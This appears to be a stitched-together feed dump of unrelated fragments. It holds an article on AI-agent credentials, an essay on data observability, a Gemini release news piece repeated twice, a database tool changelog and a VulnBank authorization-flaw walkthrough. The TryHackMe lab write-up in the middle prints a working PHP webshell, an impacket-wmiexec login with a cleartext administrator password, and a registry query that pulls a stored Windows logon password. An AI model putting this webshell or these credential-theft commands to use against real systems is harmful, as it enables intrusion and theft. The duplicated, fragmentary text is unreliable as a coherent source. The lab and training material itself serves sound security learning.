The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

• AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

• Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

• Is the underlying data validated against the standards required by its consumers?

• What's the oldest piece of content currently being served with high confidence?

• Would two chunks of the same source ever disagree with each other in the same retrieval result?

• Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

The post AI-Speed Attacks Are Forcing a Rethink of Incident Response appeared first on Cyber Security News.

0x00: Enumeration

• Started with running a TCP Scan on the target via Nmap.

nmap -sC -sV -p- 10.48.128.241 

Nmap scan report for 10.48.128.241
Host is up (0.039s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20  04:26PM                  173 notice.txt
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-title: Simple Slide Show
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-title: Simple Slide Show
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Not valid before: 2026-07-08T06:13:45
|_Not valid after:  2027-01-07T06:13:45
|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-997GG7D
|   NetBIOS_Domain_Name: DESKTOP-997GG7D
|   NetBIOS_Computer_Name: DESKTOP-997GG7D
|   DNS_Domain_Name: DESKTOP-997GG7D
|   DNS_Computer_Name: DESKTOP-997GG7D
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-09T06:17:20+00:00
5900/tcp open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     Ultra (17)
|_    VNC Authentication (2)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-07-09T06:17:22
|_  start_date: N/A

• As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.
• I visited the webpage and saw a slideshow of several random images.

• I checked the page source and found the following JavaScript code.

• The code here revealed the /content.php file and the /images/ endpoint.
• I visited the /images directory and found the following images that were running on the slideshow.

• Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.

• There was a notice.txt file.

• There was a message left in notice.txt written as follows.

• It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.
• Next, I moved on to SMB enumeration.

0x01: SMB Enumeration

• I used smbclient to list the available shares on the target.

• Here I could see several custom shares such as images$ , Installs$ and Users.
• I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.

• I got the PHP reverse shell from PentestMonkey, configured it with my custom IP address and port, and uploaded it to the images SMB share.

• I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.
• Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

• I uploaded the shell again to the SMB images share and it worked like a charm!

0x02: Web Shell

• I was logged in as the sign user. I looked for the user flag in the sign user directory.

• The user flag was found in the user_flag.txt file.
• Next, I checked out the Installs share in C:\ directory.

• The following files were found in the directory.

• There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .

• I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
• I checked the Install_www_and_deploy.bat script and found the following code.

• This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
• I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.

impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208

0x03: Admin Shell

• I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

• I was able to fetch the user's password from the Winlogon registry key.
• Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.

• As can be seen in the first lines of the file itself, we found the encoded password.
• I took the encoded parts of the password and used this website to decode them. Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool

• I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
• I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .

• And with that, all the flags were obtained, and the room was solved!

I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.

Happy Hacking!

AllSignsPoint2Pwnage — TryHackMe Windows Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more of this story at Slashdot.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting.

The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy,

the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

Read more of this story at Slashdot.

The post Build an Agentic Event Venue Operator with MongoDB Atlas, Voyage, and LangGraph appeared first on MarkTechPost.

            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)

There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.

This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in VulnBank, an intentionally vulnerable banking application built for security training.

What Is BOLA, Actually?

Broken Object Level Authorization sits at #1 on the OWASP API Security Top 10 (API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.

The core idea in one sentence: the server correctly checks who you are, but never checks what you’re allowed to touch.

Any API endpoint that takes an object identifier — a card_id, account_number, order_id — needs to answer two separate questions:

1. Authentication: is this a valid, logged-in user?
2. Authorization: should this specific user be allowed to access this specific object?

BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.

The vulnerable version:

SELECT * FROM cards WHERE id = :card_id

The fixed version:

SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id

That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.

So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.

Setting the Stage: Two Users, Two Cards

Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.

User 1 — Jhonny

• I created a virtual card with a $2,500 limit.

• I then funded it with $80 from the main balance.

With the funding request captured in Burp Suite, I sent it to Repeater for closer inspection, this is the request whose card_id parameter would become the centerpiece of the whole test.

User 2 — Alex

Same setup:

• A fresh virtual card of $2,500 limit.

• Funded with $100.

• And the same treatment — captured the request and sent it to Repeater.

Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.

Step One: Does the App Even Check Who You Are?

Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.

401 Unauthorized: "Token is missing."

Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check which authenticated user is making the request, or just that one is?

Step Two: The Swap

This is the actual test, and it’s almost anticlimactic in how simple it is.

I took Jhonny’s valid token and used it to fund Alex’s card:

200 OK. The card funded successfully with Jhonny's session authorizing a change to Alex's card.

Then I reversed it, Alex’s token, aimed at Jhonny’s card:

200 OK again. Same result, opposite direction.

Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever card_id showed up in the URL, against whichever authenticated user happened to be making the call.

Why This Isn’t “Just a Feature”

The first pushback any BOLA finding gets is: “Couldn’t this just be an intentional transfer feature?”

It’s a fair question, and worth addressing directly.

The answer is NO, for a few concrete reasons:

• There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.
